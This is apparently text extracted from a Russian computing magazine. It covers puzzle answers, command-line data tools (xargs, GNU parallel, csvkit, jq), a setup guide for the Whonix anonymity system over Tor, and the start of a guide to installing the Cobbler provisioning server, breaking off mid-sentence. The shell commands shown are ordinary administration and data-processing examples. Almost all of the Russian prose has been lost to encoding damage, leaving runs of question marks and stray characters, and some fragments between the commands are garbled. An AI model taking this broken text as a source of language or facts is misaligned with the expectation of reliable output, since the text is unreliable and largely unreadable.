currentStart = i + 1;
}
}
?????? 2
??? ?????, ????????? ??аN ????, ????? ??????? ??а??????????? ????????? ????????? ?????????. ?????????? ???? ?? ??? ??????? ??????? ??????? ????????? ???? ?а????? ??а??????????????? ?????, ????????? ?? ???????????? ?а??????????.
???????
1. ?????????? ?????? (??? ?? ???). ???????? ??аO(length(Text)k), ??? kа?
?????? ????????. ????? ??????? log(k), ???? ???а?????????? ?а?????
?????? ??????? ?????-?? ???????????????? ??????, ????? ?????? ??????
??а????????. ???а??????? ?????? ????? ???а?????????? ?а??????? ???????
???????. ????? ???а?????????? ?????? ?????? ????? ?а???????? ????? ????,
????? ????????? 1 ??? ??????? +1 (???? ???? ??? ???????????). ??????????
???? ???? ???.
2. ??? ??????????? ???-??????? ???а?????? ?а?????-?????? ???-???????
???а???? ?? ?????. ?????? ??? ????? ??? ????????? ?????? ?а???????. ????
?????? ????, ?? ?????? +1 ?а????????, ????? ??????? ?????, ?????? 1 (?????????? ??????? ????????? CHashTable<CString, int>). ???????? ??а??????? ?а????????? ???????? ???а?????? ??????????.
?????? 3
???? ???????????? ????? ?????:
?aribakwai da hamsin da shidda 756
sittada ?aribakwai da biyar 6705
saba?ada ?aribiyar da sittin 7560
?????????? ? ?????: saba?in da biyar, ?arishidda da sittin da shidda.
???????? ?? ?????: 67 ?а5605.
???????
saba?in da biyar ? 75
?arishidda da sittin da shidda ? 666
67 ? sittin da biyar
5605 ? hama?a da darishidda da biyar
?????? 4
???? ????????? ????????? ?????, ??????? ?а?????? ???????????? ?????????? ?????????? ???????? 1, 2, 3, 4 ?а5. ???, ???? ???? ?????????,
???????? ?????????, ??????? ?? ????????????? ??????? ??????????
???????? 1, 2, 3, 4, 5, 6 ?а7?
???????
??????????? ???? ????? x1, x2, x3, x4, ?5.
?? ????? ? = x1 + x2 + x3 + x4 + ?5, ????????? ???????? 5 <= X <= 25,
?? ???? ????? 21 ????????. ?%7 + 1 ?а????? ????????????? ???????? ??? ????? ??а1 ??а7. ????? ????????????? ????????? ?????????? ?????.
UNIXOID
????????
????????
???а????? ??????? ????????? ???????
DATA ENGINEERING ?????. ????? 2
??????? ??????
enchantner@gmail.com
?, ??? ??. ???????, ?????? ??????? ?а?????????? ?????,
??? ?????. ??????? ????? ?????????? ??а?????? ????? ????? ???????????? ?а?????????? ??? ??????????? ??????? ??а?????? ??????. ??????? ????? ????????? ???????,
?? ????????? ??? ???? ??????, ????? ????????? ????????????? ??????? ?а????? ?????????? ???????, ?а???????
??????? ????????? ???? ?????? ?а???????????? ??????.
????? ?????? ????????
?? ????????? ????????? ??????, ??????? grep ?аawk ?а???????????, ???а???????? ????????? ?????, ??а??? ??а????? ???????, ??? ?????????? ???? ???????? ??а??? ??? ?????????. ?????? ??? ????? ?????????, ???? ????? ????
????????? ???????????? ????????? ???? ?????????? ?, ???????? (????
??а??????????? ????????), ??????? ??????? ???а???????????? ????????? ?????? ?????????.
??а???? ???????????, ? ??а???? ?????? ???????????? ??? ???????? ?????????????? ???????????????? ?а????????? ?????????????. ?? ?? ????????????, ??? ??? ????? ?а???????,а? ??? ?а????????. ?а??????? ?а???? ??????,
???а??а???????, ??? ???? ??????????? ??????? ????????? ??????, ??? ???????
?? ????????? ??????,а? xargs. ??, ?? ???????? ??????а? ??? ??????????? ????????? ?????????? ????? ??????? ?а???????? ????????? ??????, ??а???? ??
??????????? ??а?????????????. ??????? ??????:
$ find . -name "*.sh" -print0 | xargs -0 -I'{}' mv '{}'
~/backup_scripts
????? ??? ??????: ??????? ?а??????? ???????? ??? ????? ?а??????????? sh
?а??????????? ?? ?????????? ??????? mv, ??????? ??????? ?? ?а?????. ?????
-print0 ?а-0 ????? ????????? ??а??, ??? ??????, ??????????? ??а?????? find
??а???? ?аxargs, ????? ??-??????? ????????? null-??????. ???????? -I, ?а????
???????, ?????? ??????, ??????? ????? ?????????????? ???а??????????? ???????? ?а??????????? ???????.
???????? ??, ???а??? ????? ??????? ????????? ?а???????? ?????? ???
?????? ??????? ????, ?а??????? ??а?????? ???????? ??????? mv ???-?? ????-?? ????????. ?а???????? ??? ?а???: ????? ??а???????, ??? xargs ????? ?а?????? ????????? ????? ???? ????????? ???????. ??????????, ????????, ?????
????????? ????????? (??, ??? ????? ??? ????? ???????? ?????????? ???????):
??? ?????????, ???? ?? ???????? ????? (????????? ???????????, ??а??? ??)
????????
$ ls | xargs -P3 -n1 ls
??? (? ??? ???? ??????????) ??? ?????, ???? ?? ???????? ?? ????????? ????
$ ls | xargs -P3 -n1 ls
pikachu.avi
1_bar.txt 1_foo.txt
unforgivable_pics.zip
$ ls | xargs -P3 -n1 ls
1_bar.txt 1_foo.txt
pikachu.avi
unforgivable_pics.zip
???-?? ??? ???????? ??????????, ??а?????? ??? ????????? ??????????? ?????????, ??????? ?а???? ???????, ????????? ??-??, ???????? -P ????? ??????
?????????? ????????? ???а??????? (????? ????????? ????? ???? ??????????,
???????? ;)), ?а-n ?????????, ??????? ????? ??а????? ???????????? ?????????? ??????? ????????. ?а?????????? ??????????? ??а????, ?а????? ??? ?????????? ??????? ls, ?????? ??а??????? ???????? ????????? ??????? ??а???????, ?????????????? xargs. ??? ?????? ?????а? ???? ?а?????, ?????? ???????
??а???????????, ???? ??а?????????? ????????? ??????, ?? ???? ?????? ?????
???? ????.
??????а? ??????. ???????????? ??? ???-?? ??????????? ????????? ?????????? ?????? ?аHDFS. ?????? ??? ?а??????? ?????а? ????? ?????, ??????
???????????? ??????? ?????????? ???а???? ??????а? ???-?? ?????. ?а?????
????? ????????? ????? ????????? ??? ????? ?????? ?????????????:
$ cat file.txt | xargs -l bash -c 'echo hdfs dfs -get $0 $1' |
xargs -I'{}' -d '\n' -n1 -P8 -t bash -c "eval {}"
?????? ???????. ??а????? ??? ????, ?а??????? ??а?????? ??????? ??? ????а?
????? ????? ?????? HDFS ?а?????, ???? ??? ???? ??????????? ????????. ????? ??????????? ?????? ??????, ?????????? ???? ????????? ???????? ??????????? ?а????????? ???????. ?????? ????? xargs ?????????? ????? ??а???
??????? ?а????? ?????? ??а??????????? ?????? (file1 file2 ?????????? echo
hdfs dfs -get file1 file2), ????? ??????????? ????????? ?????? (-d ?? ?????? xargs ???а??? ???а????????? ?????? ??????). ????? ????? ????? ?????????? ??????? xargs, ??????? ????????? ?????????????? ??а?????????? ????
??????? ?а?????? ???????. ?????????? ??, ????? ??? ???????. ??а??а???????
?????? ?????? ?а?????? ???????? ?????.
???? ??? ???? ???????, ?????????? ???а??????????????, ?а???????? ??????????? ????????? parallel. ??? ???? ??????????, ??????? ????????? ????????? (???? ??? ????? ?а???????? ????, ???а?а??????? ????), ?а????? ????,
????????? ????????? л?????????? ???????????╗ ?а???????????? ??????, ??????????? ?а?????? pipe?? ??а?????????? ?????? pipe???. ???, ?а?? ???????
????? ???????????? ???????????? ??????????????? WAV-?????? ?аMP3:
$ ls *.wav | parallel lame {} -o {}.mp3
???? ?? ??????? ??а???? ??аcURL ??а?????????? ????? ??????, ?? ??? ??????
?аWget:
$ cat urls.txt | parallel -j+2 'wget "{}" -O - | python parse.py'
????? ?а??? ??а????? ???? ?а??????? ?????? ?????, ?аparallel ????????? ?????????? ????????, ?????? ????? ???? CPU ???? 2. ?????? ?????? ?????????
????????? ?а???????? ?? ??а??????????? ???? ??????? ??аPython, ???????, ????????, ?? ?????? ?а?????? ??? ?????-?????? ????????? ?????.
??????? ?????? ???
?????, ??а??????? ?????? ??????, ???? ?????, ??? ??? ????? ?????????? ??????? ??????, ?а???????? ?????????? ???????????? ???а??????? (?? ?а???а???????????????? ??????),а? ??? CSV (??????? ??????? ?а??????? ?????????????) ?аJSON. ?а????????? ????? ????? ?????????? ????????? YAML,
??а????????????? ?????? ?а??? ?????? ??а??????, ??? ?????? ??а????? ???????????????? ?????? ?а?????? ????????????? ????????.
???? ?? ???????, ??? ?аCSV ?а????? ?????? ???????? ????? ?а??????, ?? ???
?????? ??????, ??? ???? ??а?????????? ????? ??????:
1,2, "vova,dima",7
3,, "lenin",0
??? ????????? ?????????? CSV, ?????? ??? ?????????, ???? ?? ????????? ??????? ??????? ??????? ??а???????? ??? ????? ???????? ?а??? ????????
?? ?????? ???? ?????? ??????? ?????? ????? ??????, ??????? ????. ?а???,
???а??а???????, ??????????? ?а???? ?????? ???аPython, ???????, ?а???? ???????, ????????????? ????? ?????????? ?????? ???а?????? ?????. ?????? ?????????? csvkit ?а???????? ?а???? ????????? ?????????? ??????:
? in2csvа? л?? ????, ??? ???, ??а? ???? ????????????? ??? ?аCSV╗, ????????,
????????, ?а??????? Excel;
? csvcutа? ????????? ????????? ?????????????? ?????????, ?а??? ????? ????????? ?? ?????;
? csvlook? ??????? CSV ???а???????? ???????? ?а?????????, ??а????????
?а??????????? ????????? ?а??;
? csvjsonа? ???????????? CSV ?аJSON ?а???? ?????? ???????? ?а?????? ?а??????????;
? csvsqlа? ?????-??????? ????????? ?????? SQL-??????? ?аCSV-??????????.
Not a big deal;
? csvsortа? ????????? ??????????? ??а????????, ?а??? ????? ????????? ??
?????.
???????, ??? ????? ??????????????. ???? ??????? ???????? ??? ????????а?
?????, ????????, ????? ???? imdb-250-1996-2011-lists-only.xlsx, ?а????? ??????? ???:
$ in2csv imdb-250-1996-2011-lists-only.xlsx | csvsql --query
"select Title,Year from stdin where Year<2009" | csvsort -r
-c Year | head -n 10 | csvlook
??? ???????, ???? ?????????, ??? ????????? ????? ??????????, ??а?????????а? ????? ????????? ?????? ???? ??? ?????? ???? ???????? ????????. ???????? ?????? ?а?????????????? ???.
л?? ??, ?аCSV-?? ?а???????? ?????????? ????????? ??? ??? ????????, ??а?а?????? JSON ??? ????? ????? ??а???????╗,а? ??????? ??. ?а????????. ??????? jq ????????? ?????? ?аJSON-??????? ???? ?????, ??? ???. ????
??????, ??? ????? ??????? ???? ??????????? ??????? csvjson, ?? ???????
???а???????? ??????????? ???????????.
????? ??????? ?????? ?????? ?????? ?а???а? ??? ?????? ??а???? ?????-?????? JSON-???? ?а???????? ?????? ?а??????? ?а????????? ????????? ?а?????????? ?????????? (!). ????????? ?аJSON ???а? ???? ??????, ???? ??????
????????, ?? ?? ?????????? ??а?????, ????????? ???? ?????, ???? ??????????
??????:
$ echo '{"first_name": "Paul", "last_name": "McCartney"}' | jq "."
{
"first_name": "Paul",
"last_name": "McCartney"
}
$ echo '{"first_name": "Paul", "last_name": "McCartney"}' |
jq ".first_name"
"Paul"
$ echo '[{"name": "John"}, {"name":"Paul"}, {"name":"George"},
{"name": "Ringo"}]' | jq '.[] | select(.name | contains("o"))'
{
"name": "John"
}
{
"name": "George"
}
{
"name": "Ringo"
}
jq ????? ?????????? ?а??а???????????? ??а????
????? ?????? ??????? ????????? ???? ???????, ??????? ???? ?????? ???????
??????, ??????? ??????? ????????????? ?а??????????:
$ cat file.csv | csvjson ?stream | jq -c 'if .createdDate != ""
then .createdDate = (.standardRegCreatedDate | split(" ") |
.[0:2] | join("T") + "Z" ) else .createdDate = "9999-01-01T00:00:00Z"
| to_entries | map(select(.key | contains("rawText") | not ) ) |
from_entries' | ...
??????????? ????? ??????. ?а???? ???? ?????? CSV-??????, ?а??????? ?а??????? createdDate ???? ????? ?????? ?????, ??а??????? ????????? ?а?????.
??а?а???? standardRegCreatedDate ???? ?????? ?????? ??????, ???? ?а??а?????? ?????????? ????????. ?? ??? ?????????? ???? ?а?????????? ???????а? ?а?? ???????? ????????? ????? rawText, ?а?? ????? ???? ?????? ????????. ???а???? ????? ??? ??? ?????????, ???????? ???????? ??? ????? ????????
?????????? ??????????? ?а???????????? ????????, ??????????????? ?а????
????а? ???????? ?а???????.
??а?а??? ??? ??а???. ??????????? ???????????? ??а??????, ???? ??????
???? ???? ??а?????? ??????????, ??а?а?????? ?аElasticsearch, ?а??а?????? ??????, ?а?а???? HTTP bulk-???????? ?а???????????? ??????? (???? ????? ?????????а? ??а???? ????? ???????? ?????). ?а??? ????? ? ???а??? ?а????????????
????????? ???? ??????? ?????????????????:
$ ... | awk '{ print "{\"index\": {} }","\n" $0 }' | parallel
--pipe -N500 curl -s -XPOST localhost:9200/items/entry/_bulk
--data-binary @- > /dev/null
?аawk ??? ??????: ????????? ??????? ????????????
?????????. ?а??? ??? ?????????? ??????. Parallel ?????????
???????????? ??????? ????????? curl, ??????? ?а??? ????
???? CPU, ????????? ?а?????? ??а??? pipe ?а?????? ??????? ??аstdin ??а500 ????? ??а?????. ?????? curl ?????????
??? ?????? ?аstdin ?а??????? ?? ????? ?а????, ?????????
??????? ?аbulk API. ?????? ??????? ? ??а????????? ????? ????? ????? 10 ????? ??????, ??? ?а????? ???????а?
??а??????? ???? ???? ???????, ??? ??????? ????.
?????????? ???????
?????? ?????? ??? ?????????? ??? ??????, ?а????????
??? ?????????? ?????? ???????? ?? ????????? ???
???????. ? ???????, ??? ????????????? ????????? ?????? ??????? ???? ???а?????????? ???????? ????? ?а???????, ??????? ?а??????????, ???? ?? data scientist???,
?????????, ????????? ?????? ??? ???? ??????????.
?а????? ??????, ????? ???? ?????????, ???а?????????
??????? ?????????? ???????.
WWW
??????? ????? ?????????, ??а????? ?????????? ??????, ?а???????
??????????? ??????
??а????????? ?а??????
?????? ?а?????????,
???? ???? ????? ?????????????? ???????
?а??????, ????? ??????
????????? ????????.
??? ??а??????????
?????, ??а??? ?? ????
??а?????????, ??????
UNIXOID
???????????
???????
??????? ??????
androidstreet.net
?????????? ?а???????????????
???????????? WHONIX
????? ?? ??????? ??а??????????? ?а?????????, ?? ????
????? ????????????? ????? ???????, ???аTor, I2P, Tor
Browser, DNSCrypt ?аLive CD TAILS, ?????????? ?а????
??? ?????????????. ?????? ?????????? ????? ?????????,
??а????? ?????????? ??????? Whonix, ???????????? ????????????? ?а???????? ???????? ???????? ??????? ??????? ??а?????????? ???? ?а????????? ???????? ???? ??????????? ???? ????? ??????.
?????? ????????
????? ?????????? ??????????? ?????? ?????????? ?а????, ???? ??????????
Tor ?а????????? ?а???? ???? ????????? ??????. ?????????? ????????????
?а????? ?????, ???а?????? DNS, ??????????? ?????? ??????????????? ????????? ??а?????? ???????? ???????? ?????, ?????? ????? ???????????? (?????
SSH, ????????), ?????? IP-??????, ???????????? ????????? ??????? ??????????, ???????? ???????? ????????????? ?????? ??а???????? ????? Tor ?????
????????? ????? ???????. ?? ?а?а????? ???????? ???????? ??????????, ?????
????????? ??? ????????????? ??????? ?????????? ???????????? Tor ?а??а???????? ?????? ?а????? ??????.
?? ?????? ??????? ??? ??? ???, ??а????? ????? ??????????? ??????? ???????, ?а?????? ??????????? TAILS. ?? ???????? ?а???? ????????? ??????????????? ??????????, ????????? ??????????? Tor ?а??????????, ??? ???
?а????? ??? ?????????? ???????? ?а????? ?????????? ??????????? ?а??????????? ???????, ??????? ??а???????? ???????????? ??? ?????? ???????.
?????? ?аTAILS ???? ??? ????????? ???????????. ??-??????, ??? Live CD,
?????????? ??????????????? ???ал???????????╗: TAILS ??а????? ??????????
???? ????????? ????? ???????????? ?а??а????????? ??????? ?????? ??а??????. ???а???????? ???а????? ????????? ?????????? ??? ????????? ??? ??а???
????? ??? ???????????? ??????????, ???а??????????? ???????????? ???????а? ???????. ??-??????, ???????? TAILS ??а????? ??????, ???? ????????????? ????????? ????????? ???? ?а????? ???????????. ???? ????????????
??а???? ????????? ???????????????? ????????.
???? TAILS ????? ??а???????? ??а????????????? ???????. ????? ?????????? ???? ?????? ????? ??????????????? ?а???? IP, ?а???? ??????. ????? ????? ????????, ????????????? ????????? ???????? ????????? ??????? ?а??????????а? ??а?????? ?а?????? 3.0, ??????? ????????? ????? ??????,
?? ??? ?а??а???? ????????????? ??????. ?а????? ?????????, ??? л?????????╗
??????????????? ??????? ?? ??а??????? ?????? ???????? ????, ?а???????
??????? ???? ????????, ???????? ????? ??????????? ????? ?????? ??????
TAILS (??? ???????, ??? ?????????? ?а???? ????????? ?а???????? ???????).
???а??????? ???? ???? ??????? ???а??? ?а???????????? Linux-???????????
Whonix, ???????????? ?? ?? ????, ??а??????????? ?? ????????? ???? ?????.
???? ?????????????
TAILS ???????????????? ?а????? ????????????????? Live CD ??а?????? ???а?????? ??а??????? ?а??а????????? ?????? ???????????????? ??????
???а????????? ??????????? ??????? ?а??????, ??а?а???а????????? л??????
??а??????╗. ???????????? ??а????? ???? ???????, ??? ???????????? ????????? ???????? ?????? ????????????? ?? ?????????? ?а??а???????????? ??????
?????? ??? ????????? ?????? IP. ?а???? ??????? ?????? ??????, ?? ?а????????
????????? ???? ?????.
Whonix, ?а?????? ???????, ?????????? ?????????????? ?а???????? ??а??????????? ??????????? ??????? ?ал????????? ??? ????╗, ???????, ????? ???????????? ?аTAILS ??????? ?????? ??а?????? ?а???????????????, ????? ??????????? ???????? ?????????? ??????????? ?а??????????? ?????????????.
Whonix ???????????????? ?а???? ??????? VirtualBox: ???? ?????? ???? ?????
?а?????????? ???? ????? Tor, ?а??????а? ??? ??????? ?????? ?а?????????,
???-, email-????????? ?а?????? ??????, ?а??? ????? ???, ??? ????? ??????????
??а????????????. ??? ?????? ???????? ??аDebian.
???????????? ?????? ????? ?? ??????? ??? ???а??????? ??????а? ???
????, ???????????? ???? ??????? ?? ??????? ??? ??а????? ?а???????а? ????? ???? Tor. ???????, ????????? ??????????? ???? ?? ?????????? ??а??????? ??????, ?? ??? ????? ???? ??а??????. ???????? ?????? ?а????????? ?а?????
Tor ?????????? ??а??????, IP-????? ?????? ?????? ?????????, ?????? ???????????? ???а???? ????? ?????? user (???????????? ??а??????????? ??? ??????), ?а??????????? ?а??????а? ??????????? ???????????? VirtualBox. ????
??а??????? ????????? ???? ??а????????? ????, ???? ????? ????????? ??аUTC,
?а???а????????????? ??????? ???????????? time stamp?? HTTP-??????????,
?????????? ???????? ?????????? ???-?????????.
????? ?? ?????????? ????? ??????? ?а???, ??? ??? ????? ??а???????, ?????
?? ??????????? ?????? ??????? ?????? Whonix. ??????? ????????? ?????а?
??? ????, ?а???????? ????? ????????? ????? ?????? ?????????? ?а????????? ??, ???? ?? Ubuntu, Windows ??? OS X, ?а???????? ????? ????? ?? ???????
?????? ??а???????????? (??. ??????????? ????????????). л????? ????? ??╗
??????, ???, ????? ???????????? ????????? ?а?????? ??????????, ???????
?????? Whonix ???????? ????? ???????????? ?а????????, ??????????? ???????? ???? ??а???????????? ?а??????? ????????? ????? ??????? ??а????????
????? Tor (identity correlation through Tor circuit sharing) ?а??????????? ????????
????? ????? ?аuptime?? ????? NTP ?а????? ??????? TCP/ICMP (??? ??? ???????? ??????? ??аwiki-???????? Whonix).
?????? ?????? ????? ???????? ?а??????? ???????? ??????? (stream
isolation), ??? ???????????? ?а????????? ??????? ?????? ??а??????? ????????? ??а????????????? ?????? ?????? Tor (SocksPort) ?а???????? uwt, ????????????????? ?????? ??а?????? Tor-?????, ???? ?????????? ???? ??а????????????? ????? ??????????? (???????????? ???аapt-get, cURL, Git ?а??????
?????????? ????????????). ??????? ?????? ???? ?????????? ???? ????? ?????? ??????? Tor-????? ??а?????? ???????? ????. ?????? ???????? ???????? ?а?????????????? ??????? sdwdate, ??????? ?????????????? ???? ??а?????
NTP, ?а????????? ?а???????? ????????? ????????.
????????? stream isolation
Whonix ???????????? ????? ???? ?????????????? ??????? Tor ????? VPN/
SSH (??? ????????). ??? ??????? ????? ????? ???????????, ???? ???? ????????? ????????? Tor (? ???? ?????? VPN-?????? ??????????????? ??а???? ?аTor
?????????? ??? ???а????? ?а??????? ??????), ??? ???а??????? ??????? ??? ????? ????, ???а?? ??????? ???????? ???? Tor (VPN-?????? ??????????????? ??а??????? ??????, ??? ??? Tor ?????? ??? ????????????? ??????).
???????
????, Whonixа? ??? ??? ??????????????? ?????? ???аVirtualBox ??? Linux KVM.
??????? ??????? ????? ????????? ?а????? ???????????, ???а??????? ????
??????????? ?????? VirtualBox, ?а??? Linux, Windows, OS X ?аSolaris. ???, ???
???а????? ????????? ???????,а? ??? ??????? ??? ?????? (????????? ????? 3,5
?????) ?а????? ????????????? ?? ?аVirtualBox ?а??????? ???? File
Import
Appliance.
????? ????????? Whonix-Gateway ?а?????????? ??? ????????. ????? ????????? ???????? ????? (??, ?а????? ???? ??????????? ?????????, ??? ??? ?????????? ???? ????? ?????????) ??????? ????????? ??????????? ?а????????????, ????????? Tor ?а???????? ??????, ????? ?????????? ??????? whonixcheck,
??????? ???????? ??????????? ?аTor ?а???????????? ???????? ???????, ???????????? ?а??? ?????????? ?????? ????????????? ??????? sdwdate.
Whonixcheck ????????????? ?а??????? ????? ?????? ???????
????? ????? ?а???? ??????????? ????????. ???? ?а??????? ??????? Whonix
??????? ??а???????????? ?а????????? ???????? ?а?????????? Tor ???? ???а?????????? ??????? ??а??????? ????????????. ??????? ????? ??????????? ?а???????? ????????????? ?????????? ???????? (? ??????? ?????????? ????????? ??а???????? ?????? 500 ?????/?).
?????? ??????а? ???? ?????? ??а??????????? ????????? ?а??????????? ???????????, ??????? ????? ?????????? ????? ??????????. ????? ????,
????? ???? ????????, ????????????? ??????????? ???? ?а????????? ??????, ???? ?а?????????? ????????? ???????? ?????? 192 ?????. ????? ???????
???, ?????????? ???????? ?????? ??????? ??аWhonix-Gateway, ??????? Settings
?а??а??????? System ???????? ???????? ??а???????? 192. ?а????? ?? ??????
??а?????????, ??? ???а???, ??? ????????? ??????? ??????????? ?????????,а?
??? ????????????? Tor ?????? ????, ??????????????? ????????? ???????????
?а????????? ????????? ??????????? Tor ??? ????????? arm (? ?? ?????????).
????????? ??????? ??а?????
????????? ??????? arm
????? ????????? ???????? ????? ????? ????????? ???????. ?????????????????? ???????? ??? ????? ????? ??: ????????? ?????????, ??????????? ?а????????????, ??????????? ???????? ??????, ???? ????????? ???????? ?????????? ?аTor ?а????????????? ???????. ????? ????? ?????? ????????.
??????, ????????????????? ?????????? ??? ??? ????????. ??а??????????? ??????????? ?????? Tor Browser, IRC-?????? XChat ?аKGpg. ?????? ?????? ????
??а??????????; ????? ????? ??а?????? ??????????? ???????????, ??????? ?????????? ???????? ??????? ????? Tor.
Tor Browser
????????? ??????????? ???? ?? ????? ??????? ??а???????????? ?а???????
??????????? ??????? лsudo apt-get install ??????????╗. ?а????? ??а?????? ?????? ?????? changeme ?, ??????? ??, ?????? ?????? ?а??????? ???????
passwd.
STREAM ISOLATION
???????????? ????????? ???? ?аWhonix, ?? ????? ??????????? ?а?????????,
?????????? identity correlation through Tor circuit sharing. ??а?????? ?????????
???? ??????, ?????? ?????, ??? ??а????????? ????? ???? ?????????? ????????? ????????? SOCKS-??????, ?а??? ?????? ??????????? ???? Tor (TransPort).
???????? ????? ????????? ?а???, ???, ?????? ????????? ???? ??????? ?а??
????????? ????? (????????, ?? ?????? ???????????? Telegram ???????????? ?аWhatsApp), ???????? ???? ????? ?????????? ????? ????? ??????? ???????? ????????????? ?????????? ?а???????????????? ???? (?? ??а???? IP ???
?????????????? ?????????).
???а?????? ?а?????? ????? ????? ?аTor ???? ????????, ????????? stream
isolation, ?? ????????? ????????? ?????? ?????? ??????????, ???????? ???
?а?????? ??????? ????? Tor. ???????????? ??? ???????? ??????а? ???? ?????
???? ??????? ?а?????????? Tor ????????? ?????????????? ?????? SOCKS ?а????????? ???? ?????????? ???, ????? ??? ???????????? ?????? ?????. Whonix
??? ????? ????? ?????????: ????????????????? ???? ?????????? ????? 9100?
9149. ????? ?а??? ???? ????? ????????? ?????? ???а?????????? ?????:
? 9153?9159а? ?????????;
? 9160?9169а? ????????? ?а?????? IsolateDestAddress;
? 9170?7179а? ????????? ?а?????? IsolateDestPort;
? 9180?9189а? ?а?????? ???????.
???, ??? ????????,а? ??? ????????? ???? ??а????????????? ??????
10.152.152.10 ?а?????? ??а???? ?????? ?а???????? ?????? SOCKS-???????.
?????? ???????????? ????? ?а??????? IsolateDestPort ?/??? IsolateDestAddr ?
?? ??а????????????. ??? ????????? ???? ?????? ?????? ?????????? ??а?????? ?????? ?????????? ????? ??? ??????. ?а??????????? ??????? ??? ????????? ?а????? ???????? (?????????, ???? ???????-?????? ??? ???-??????? ????? ???????????? ?????? ??????? ????? Tor ???а???? ??????????).
????????? ?????? ???а?????????????????? ?????
??????
Whonix, ???а???? ????? ??????????? ?а????????????????, ??????????? ?????
???????? ??????, ??? ????? ?????????? ???? ??????????? ?а????. ??а????????? ??? ????? ???? ??????? ???а??????? Tor Browser, ?????? ???а??????? ???
?а?????????? ??????? ??аWhonix ????? ??????? ??????????? ??????? ???????, ?а????????????? ??????? ??????? ?а????????? ????? ????????? ??а??????.
?? ?а??????? ??, ????? ???????, ??? ?????????? ??????????? ??а??????????.
???? ????а? ???? ??????. ????? ??а?????, ???? ?????????.
SYNACK
??????????
???
??????????? ?а????????
????????? ?OBBLER
??????
лurban.prankster╗
?????????
prank.urban@gmail.com
????????????? ???????? ?????????? ?????? ?а??????????а? ?????? ????????? ?а????????????. ??а?????? ?????
???? ??????????? ??????? ?????????? ?????????? ?а????????????, ?? ???????????, ??????? ?а???? ???????????
??а?????? ??????. ?obbler ?????? ?????? ??????? ?а????
??????, ?а?????? ????????? ????????? ??а???????????
??а??????????? ?????? ?а?????? ??а???.
?????? ?OBBLER
?obblerа? ??? ?????? ??????? ????????? ?а?????????? Linux- ?аWindows-??????, ??????????? ??????? ????? ??????????? ????????, ?????????? ?????? ?а??????????? ???????, ???????????????? ?а?????????? ??. ?????????????? ???а???????? ??, ??? ?а??????????? ??????. ??а????? ?obblerа? ???
??????? ?????????? ??? ?????????? ????????????? PXE, TFTP, DHCP ?аDNS,
??????????????? ??????? ???????? ??????, ?а????????? ?????? ?а????????
?а?????????????. ??а?????????????? ?????? ??????????? ?а????????? ????
???????????, ????? ????????? ???????? ??????? ???????????????? ??????,
??????? ????????? ?а????? ????????, ?????????? ???? ???????? ?? ??? ????
???????. ?????????? ????? ?????????? ???????? (???????????? ?а?????????? ????????????) ?????????????? ????? ????? ????????.
????? Cobbler ???????????? ?а????? ?????????? Spacewalk (??????? ????????????? ?????????? ????????????? Puppet ?аFunc), ??????????? ???????? ??????? ???????????? ??а????????? ??????. ?????? ?????, ????????,
???а???????? Puppet ????? ????????????? ??а?????????? Cobbler, ??? ?а????????а? ???????????? Cobbler ?а?????????? Puppet. ?????????????? ??????????
?аLDAP. ??? ??? ???????????? ?????? ???? ?????????? IT-???????????????.
?????????? Cobbler ??? ????????? ??а????????? ?а????????????? ?а?????????????, ??????????? ??аRed Hat,а? RHEL, CentOS, Fedora ?а??? ?????. ??а???????? ?? ??? ??????????? ???аUbuntu, Debian, SUSE, ?а?а???????????? ????
????????????? ????????? ??????. ???а????????????? ?а??????? Cobbler OC
Windows ??? ?????????????? ?????????? ??????? ?????????? ????? ??????
?????????????? ???а?????? Windows AIK / Windows ADK.
??????? ?obbler ??аPython, ???????????????? ??а???????? GNU GPLv2.
?????????? ?????????????? ???а?????? ?????????? ??????? cobbler ???
???-??????????. ???а?????????? ??а?????????? ???????????? ????????????
XML-RPC-?????????.
????????? ?OBBLER
?obbler, ???????? ??а??????? ????????, ?????????? ??????? ???????, ?????? ????? ??-?? ???????? ??????? ????????? ??????????, ??а?? ???????????? ???????? ???????????????? ??а??????? ??????????? ???а??????????????
??????????. ???? ????????????? ?а??????? ????????, ?????? PXE ?а????????
????????????? ????????? ???????????? ????? ??????????????.
??а?????? ????????? ?????? ??????? ?????? 2.6.11. ?а??????????? EPEL
????????? ?????? ???, ?а??????????? Ubuntu ????? ??????? ???????????
(?? ?????? ????????? ??????а? 2.4.1). ???а????????????? ?????????? ?????
?????? ????? ?????? ?????, ????????? ???????? ?????? Git. ?а????????, ???????? ????????????? ?obbler ??а???????? ??? ????????? ???, ??????? ???
????????? ????????? ?а???а?????? ??????. ?????? Cobbler ????? ?????? firewall
?аSELinux, ?а???????? ????? ?? ????? ?????????. ?а??????????? ?????? ????
??????? ????? 69, 80, 443 ?а25151 (? ????????? ??а?????????). ?аRed Hat ????????????? ??????????? ?????????? ??????????? EPEL, ?аUbuntu ?????? ????? ??? ???? ?а???????? ???????????.
$ sudo apt install cobbler cobbler-web
?а????????, cobbler-webа? ?????????????? ????????? ?а????????? ??????
?а??? ??????, ???? ??????????? ???????????? ???-?????????. ??? ?????????
????? ?????? ?а????????? ??????.
?а???????? ????? ??????????? ????????? ?????? ???а?????????????? ????????????. ??????? ??????????? ???????????? ?а?? ???????: ???а??????
????????????? ?а?? ?????? ?? ????? ??????????. ?а???????? DNS ?аDHCP ????? ???? ??????????? ???а??????, ????????????? ??а????????? ???????, ???
?а????? ??????? ????????? ??????.
?аUbuntu, ????????, ??? ??????, ??????????? ???а??????? ???????? ?а?????? ?а????????, ???????????? ?а???????? ????????????? ?а??а?????????
??а????????: DNS (BIND9), DHCP-??????, TFPTD-??????? ???????? ?????????? createrepo, debmirror, genisoimage, pxelinux ?а??????. ?obbler ???????????? dhcp3-server ?аdnsmasq (???????????? ???аDNS, ??? ?аDHCP). ?а???????????? ??????? ??????? ??? dhcp3-server, ??а?а????? ??????? Ubuntu ?????
???????????? ?аisc-dhcp-server. ??? Cobbler ????? ?????????? TFTP-??????, ??а????????????? ???????????? ???????.
?аRed Hat ??????, ???????, ????? ???? ??????.
# wget http://dl.fedoraproject.org/pub/epel/epel-release-latest
-7.noarch.rpm
# rpm -Uvh epel-release-latest-7.noarch.rpm
# yum install cobbler cobbler-web dhcp debmirror pykickstart
system-config-kickstart dhcp mod_python tftp cman -y
????? ????????? ?????????:
$ sudo service cobbler start
?аRed Hat ????? ?????????? cobblerd. ??? ???????????, ?????? ????? ?????????? ?а??????????.
????????? COBBLER
????? ????????? ?а???????? /etc/cobbler ???????? ????????? ????????????,
?а??????? ????????? ??????? ????????, ????????? ??????????????, ?????? ??????? ?а??????. ?????????? ????????? ?а????????? ??????, ?а????????,
